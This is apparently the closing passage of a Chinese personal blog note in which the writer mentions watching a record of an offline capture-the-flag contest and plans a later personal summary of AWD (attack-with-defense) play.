今晚还看了白帽100湖湘杯线下赛的记录,感觉自己的对于线下赛的理解还是不够深刻。打算有空更一篇AWD
的个人总结。本次小记就这样吧。